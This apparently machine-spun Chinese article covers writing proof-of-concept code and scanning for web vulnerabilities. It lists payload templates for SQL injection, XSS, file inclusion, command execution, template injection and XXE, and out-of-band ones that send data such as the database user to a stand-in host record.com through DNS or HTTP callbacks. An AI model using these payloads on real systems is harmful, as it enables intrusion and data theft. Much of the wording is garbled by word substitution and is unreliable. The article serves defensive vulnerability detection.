刷洞归刷洞,蛋还是要扯的。漏洞从表露到研究员剖析验证,再到 PoC 编写,进而到大规模扫描检测,在这环环相扣的漏洞应急生命周期中,我认为最关键的部分该当算是 PoC编写 和 漏洞检测 这两个部分了:
PoC编写 - 复现漏洞环境,将漏洞复现流程代码化的过程漏洞检测 - 利用编写好的 PoC 去验证测试目标是否存在着漏洞,须要把稳的是在这个过程(或者说是在编写 PoC 的时候)须要做到安全、有效和无害,尽可能或者避免扫描过程对目标主机产生不可规复的影响
首先来说说 PoC 编写。编写 PoC 在我看来是安全研究员或者漏洞剖析者日常最根本的事情,编写者把漏洞验证剖析的过程通过代码描述下来,根据不同类型的漏洞编写相应的 PoC。根据常年编写 PoC 积累下来的履历,个人认为在编写 PoC 时应遵照几个准侧,如下:
可能你会以为我太学术了?那么我就一点一点地把他们讲清楚。

PoC 中所涉及的关键变量或数据该当具有随机性,切勿利用固定的变量值天生 Payload,能够随机天生的只管即便随机天生(如:上传文件的文件名,webshell 密码,Alert 的字符串,MD5 值),下面来看几个例子(我可真没打广告,例子大都利用的 pocsuite PoC 框架):
上图所示的代码是 WordPress 中某个主题导致的任意文件上传漏洞的验证代码关键部分,可以看到上面利用了 "kstest.php" 作为每一次测试利用的上传文件名,很明显这里是用的固定的文件名,违背了上面所提到的随机性准侧。这里再多啰嗦一句,我并没有说在 PoC 中利用固定的变量或者数据有什么不对,而是以为将能够随机的数据随机化能够降落在扫描检测的过程所承担的一些风险(详细有什么风险请自行脑补了)。
根据随机性准侧可修正代码如下:
变动后上传文件的文件名每次都为随机天生的 6 位字符,个人认为在一定程度上降落了扫描检测交互数据被追踪的可能性。
ii. 确定性PoC 中能通过测试返回的内容找到唯一确定的标识来解释该漏洞是否存在,并且这个标识须要有针对性,切勿利用过于模糊的条件去判断(如:HTTP 要求返回状态,固定的页面可控内容)。同样的,下面通过实例来解释一下:
上图所示的代码是某 Web 运用一个 "UNION" 型 SQL 注入的漏洞验证代码,代码中直接通过拼接 "-1' union select 1,md5(1) -- " 来进行注入,因该漏洞有数据回显,以是如果测试注入成功页面上会打印出 md5(1) 的值 "c4ca4238a0b923820dcc509a6f75849b",显然的这个 PoC 看起来并没有什么问题,但是结合准则第一条随机性,我以为这里该当利用 "md5(rand_num)" 作为标识确定更好,由于随机化后,准确率更高:
这里也不是坑你们,万一某个站点不存在漏洞,但页面中便是有个 "c4ca4238a0b923820dcc509a6f75849b",你们以为呢?
讲到这里,再说说一个 Python "requests" 库利用者可能会忽略的一个问题。有时候,我们在获取到一个要求返回工具时,会像如下代码那样做一个前置判断:
可能有人会说了,Python 中条件判断非空即为真,但是这里真的是这么处理的么?并不是,经由实战碰着的坑和后来测试创造,"Response" 工具的条件判断是通过 HTTP 返回状态码来进行判断的,当状态码范围在 "[400, 600]" 之间时,条件判断会返回 "False"。(不信的自己测试咯)
我为什么要提一下这个点呢,那是由于有时候我们测试漏洞或者将 Payload 打过去时,目标可能会由于后端处理逻辑出错而返回 "500",但是这个时候实在页面中已经有漏洞存在的标识涌现,如果这之前你用刚才说的方法提前对 "Response" 工具进行了一个条件判断,那么这一次就会导致漏报。So,你们知道该怎么做了吧?
iii. 通用性PoC 中所利用的 Payload 或包含的检测代码应兼顾各个环境或平台,能够布局出通用的 Payload 就不要利用单一目标的检测代码,切勿只考虑漏洞复现的环境(如:文件包含中路径形式,命令实行中实行的命令)。下图是 WordPress 中某个插件导致的任意文件下载漏洞:
上面验证代码逻辑大略的说便是,通过任意文件下载漏洞去读取 "/etc/passwd" 文件的内容,并判断返回的文件内容是否包含关键的字符串或者标识。明显的,这个 Payload 只适用于 nix 环境的情形,在 Windows 平台上并不适用。更好的做法该当是根据漏洞运用的环境找到一个一定能够表示漏洞存在的标识,这里,我们可以取 WordPress 配置文件 "wp-config.php" 来进行判断(当然,下图终极的判断办法可能不怎么严谨):
这么一改,Payload 就同时兼顾了多个平台环境,变成通用的了。
大大小小漏洞的 PoC 编写履历让我总结出这三点准则,你假如以为是在扯蛋就不用往下看了。QWQ
漏洞检测方法 & 示例“漏洞检测!
漏洞检测?漏洞检测。。。”,说了这么多,到底如何去归纳漏洞检测的方法呢?在我看来,根据 Web 漏洞的类型特点和表现形式,可以分为两大类:直接判断 和 间接判断。
多说无益,还是直接上例子来表示一下吧(下列所示 Payloads 不完备通用)。
1. 直接判断i. SQLi(回显)
对付有回显的 SQL 注入,检测方法比较固定,这里遵照 “随机性” 和 “确定性” 两点即可。
Error Based SQL Injection
payload: "... updatexml(1,concat(":",rand_str1,rand_str2),1) ..." condition: (rand_str1 + rand_str2) in response.content
payload: "... updatexml(1,concat(":",rand_str1,rand_str2),1) ..."
condition: (rand_str1 + rand_str2) in response.content
针对报错注入来说,利用随机性进行 Payload 布局可以比较稳定和准确地识别出漏洞,固定字符串会因一些小概率事宜造成误报。不知道大家是否明白上面两行代码的意思,大略的说便是 Payload 中包含一个可预测结果的随机数据,验证时只须要验证这个可预测结果是否存在就行了。
UNION SQL Injection
payload1: "... union select md5(rand_num) ..." condition1: md5(rand_num) in response.content payload2: "... union select concat(rand_str1, rand_str2) ..." condition2: (rand_str1 + rand_str2) in response.content
payload1: "... union select md5(rand_num) ..."
condition1: md5(rand_num) in response.content
payload2: "... union select concat(rand_str1, rand_str2) ..."
condition2: (rand_str1 + rand_str2) in response.content
"md5(rand_num)" 这个很好理解,MySQL 中自带函数,当 Payload 实行成功时,因具有回显以是在页面上定有 "md5(rand_num)" 的哈希值,因 Payload 具有随机性,以是误报率较低。
ii. XSS(回显)
payload: "... var _=rand_str1+rand_str2;confirm(_); ..." condition: (rand_str1 + rand_str2) in response.content
payload: "... var _=rand_str1+rand_str2;confirm(_); ..."
condition: (rand_str1 + rand_str2) in response.content
因没怎么深入研究过 XSS 这个东西,以是大家就融会一下示例代码的意思吧。QWQ
iii. Local File Inclusion/Arbitrary File Download(回显)
本地文件包含和任意文件下载的最大差异在哪?本地文件包含不仅能够获取文件内容还可以动态包含脚本文件实行代码,而任意文件下载只能获取文件内容无法实行代码。XD
以是呢,在针对此类漏洞进行检测时,在进行文件包含/下载测试的时候须要找一个相对 Web 运用固定的文件作为测试向量:
payload: "... ?file=../../../fixed_file ..." condition: (content_flag_in_fixed_file) in response.content
payload: "... ?file=../../../fixed_file ..."
condition: (content_flag_in_fixed_file) in response.content
例如 WordPress 运用路径下 "./wp-config.php" 文件是运用默认必须的配置文件,而文件中的分外字符串标识 "require_once(ABSPATH . 'wp-settings.php');" 常日是不会去改动它的(当然也可以是其他的特色字符串),扫描文件下载时只须要去考试测验下载 "./wp-config.php" 文件,并检测个中的内容是否含有特色字符串即可判断是否存在漏洞了。
iv. Remote Code/Command Execution(回显)
远程代码/命令实行都是实行,对该类漏洞要进行无害扫描,常日的做法是打印随机字符串,或者运行一下特色函数,然后检讨页面返回是否存在特色标识来确认漏洞与否。
payload: "... echo md5(rand_num); ..." condition: (content_flag) in response.content
payload: "... echo md5(rand_num); ..."
condition: (content_flag) in response.content
当然了,要实行什么样的特色命令这还须要结合特定的漏洞环境来决定。
v. SSTI/ELI(回显)
模板注入和表达式注入相对付传统的 SQLi 和 XSS 来说,该当算得上是在开框架化、整体化的过程中产生的问题,当模板内容可控时各种传统的 Web 漏洞也就涌现了,XSS、命令实行都能够通过模板注入活着表达式注入做到。曾经风靡一时的 Struts2 漏洞我以为都能归到此类漏洞中。常日检测只需布局相应模板措辞对应的表达式即可,存在注入表达式会得以实行并返回内容:
payload1: "... param=%(rand_num1 + rand_num2) ..." condition1: (rand_num1 + rand_num2) in response.content payload2: "... param=%(rand_num1 rand_num2) ..." condition2: (rand_num1 rand_num2) in response.content payload3: "... #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close()
payload1: "... param=%(rand_num1 + rand_num2) ..."
condition1: (rand_num1 + rand_num2) in response.content
payload2: "... param=%(rand_num1 rand_num2) ..."
condition2: (rand_num1 rand_num2) in response.content
payload3: "... #response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(rand_str1+rand_str2),#response.flush(),#response.close() .."
condition3: (rand_str1+ rand_str2) in response.content
vi. 文件哈希
有时候漏洞只与单个文件有关,例如 Flash、JavaScript 等文件造成的漏洞,这个时候就可以利用文件哈希来直接判断是否存在漏洞。扫描检测时,首先须要给定路径下载对应的文件然后打算哈希与统计的具有漏洞的所有文件哈希进行比对,匹配成功则解释漏洞存在:
payload: "http://vuln.com/vuln_swf_file.swf" condition: hash(vul_swf_file.swf) == hash_recorded
1
2
payload: "http://vuln.com/vuln_swf_file.swf"
condition: hash(vul_swf_file.swf) == hash_recorded
以上便是针对 Web 漏洞检测方法中的 “直接判断” 进行了示例解释,因 Web 漏洞类型繁多且环境繁芜,这里不可能对其进行逐一举例,所举的例子都是为了更好的解释 “直接判断” 这种检测方法。:)
2. 间接判断“无回显?测不了,扫不了,很尴尬!
怎么办。。。“
在良久良久之前,我碰着上诉这些漏洞环境时是一脸懵逼的 (⇀‸↼‶),一开始懂得了用回连进行判断,后来有了 "python -m SimpleHTTPServer" 作为大略实时的 HTTP Server 作为回连监控,再后来有了《Data Retrieval over DNS in SQL Injection Attacks》这篇 Paper,虽然文章说的技能点是通过 DNS 查询来获取 SQL 盲注的数据,但是 "Data Retrieval over DNS" 这种技能已经可以运用到大多数无法回显的漏洞上了,进而涌现了一些公开的平台供安全研究爱好者们利用,如:乌云的 cloudeye 和 Bugscan 的 DNSLog,当然还有我重写的 CEYE.IO 平台。
"Data Retrieval over DNS" 技能事理实在很大略,首先须要有一个可以配置的域名,比如:ceye.io,然后通过代理商设置域名 ceye.io 的 nameserver 为自己的做事器 A,然后再做事器 A 上配置好 DNS Server,这样以来所有 ceye.io 及其子域名的查询都会到 做事器 A 上,这时就能够实时地监控域名查询要求了,图示如下(借的 Ricter 的):
说了那么多,还是不知道怎么用么?那就直接看示例吧(所往后端平台都用 CEYE.IO 作为例子)。
i. XSS(无回显)
XSS 盲打在安全测试的时候是比较常用的,“看到框就想 X” 也是每位 XSSer 的崇奉:
payload: "... ><img src=http://record.com/?blindxss ..." condition: {http://record.com/?blindxss LOG} in HTTP requests LOGs
payload: "... ><img src=http://record.com/?blindxss ..."
condition: {http://record.com/?blindxss LOG} in HTTP requests LOGs
通过盲打,让触发者浏览器访问预设至的链接地址,如果盲打成功,会在平台上收到如下的链接访问记录:
ii. SQLi(无回显)
SQL 注入中无回显的情形是很常见的,但是有了 "Data Retrieval over DNS" 这种技能的话统统都变得大略了,条件是目标环境符合哀求。《HawkEye Log/Dns 在Sql注入中的运用》这篇文章供应了一些常见数据库中利用 "Data Retrieval over DNS" 技能进行盲注的 Payloads。
payload: "... load_file(concat('\\\\',user(),'.record.com\\blindsqli')) condition: {.record.com LOG} in DNS queries LOGs
payload: "... load_file(concat('\\\\',user(),'.record.com\\blindsqli'))
condition: {.record.com LOG} in DNS queries LOGs
只要目标系统环境符合哀求并且实行了注入的命令,那么就会去解析预先设置好的域名,同时通过监控平台能够拿到返回的数据。
iii. SSRF(无回显)
根据上面两个例子,熟习 SSRF 的同学肯定也是知道怎么玩了:
payload: "... <!ENTITY test SYSTEM "http://record.com/?blindssrf"> ..." condition: {http://record.com/?blindssrf LOG} in HTTP requests LOGs
payload: "... <!ENTITY test SYSTEM "http://record.com/?blindssrf"> ..."
condition: {http://record.com/?blindssrf LOG} in HTTP requests LOGs
iv. RCE(无回显)
命令实行/命令注入这个得好好说一下,我相信很多同学都懂得在命令实行无法回显的时候借用类似 "python -m SimpleHTTPServer" 这样的环境,采取回连的检测机制来实时监控访问日志。nix 系统环境下一样平常是利用 "curl" 命令或者 "wget" 命令,而 windows 系统环境就没有这么方便的命令去直接访问一个链接,我之前常用的是 "ftp" 命令和 PowerShell 中的文件下载来访问日志做事器。现在,有了一个比较通用的做法同时兼顾 nix 和 windows 平台,那便是 "ping" 命令,当 ping 一个域名时会对其进行一个递归 DNS 查询的过程,这个时候就能在后端获取到 DNS 的查询要求,当命令真正被实行且平台收到回显时就能解释漏洞确实存在。
payload: "... | ping xxflag.record.com ..." condition: {xxflag.record.com LOG} in DNS queries LOGs
payload: "... | ping xxflag.record.com ..."
condition: {xxflag.record.com LOG} in DNS queries LOGs
通过这几个 "间接判断" 的示例,相信大家也大概理解了在漏洞无回显的情形下如何进行扫描和检测了。更多的无回显 Payloads 可以通过 http://ceye.io/payloads 进行查看。(勿喷)
应急实战举例事理和例子扯了这么多,也该上上实际的扫描检测案例了。
Java 反序列化(通用性举例,ftp/ping)首先说说 15 年底爆发的 Java 反序列化漏洞吧,这个漏洞该当算得上是 15 年 Web 漏洞之最了。记得当时应急进行扫描的时候,WebLogic 回显 PoC 并没有搞定,对其进行扫描检测的时候利用了回连的办法进行判断,又由于待测目标包含 nix 和 windows 环境,所以是写了两个不同的 Payloads 对不同的系统环境进行检测,当时扫描代码的 Payloads 天生部分为:
i. nix
当时真实的日志内容:
可以看到我在布局 Payload 的时候通过链接参数来唯一识别每一次测试的 IP 地址和端口,这样在检讨访问日志的时候就能确定该条记录是来自于哪一个测试目标(由于入口 IP 和出口 IP 可能不一致),同时在进行批量扫描的时候也能方便进行目标确认和日志处理。
ii. windows
当时真实的日志内容:
由于 windows 上的 "ftp" 命令无法带类似参数一样的标志,以是通过不雅观察 FTP Server 连接日志上不是很好确认当时测试的目标,由于入口 IP 和出口 IP 有时不一致。
上面的这些 PoC 和日志截图都是去年在应急时真实留下来的,回忆当时再结合目前的一些知识,创造利用通用的 Payload "ping xxxxx.record.com" 并利用 "Data Retrieval over DNS" 技能来网络信息日志能够更为通用方便地进行检测和扫描。以是,最近改换了一下 Payload 结合 CEYE.IO 平台又对 WebLogic 反序列化漏洞的影响情形又进行了一次摸底:
这里添加一个随机字符串作为一个子域名的一部分是为了防止多次检测时本地 DNS 缓存引起的问题(系统一样平常会缓存 DNS 记录,同一个域名第一次通过网络解析得到地址后,第二次常日会直策应用本地缓存而不会再去发起查询要求)。
相应平台的记录为(数量略多):
(顺便说一下,有一个这样的平台还是很好使的 QWQ)
。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。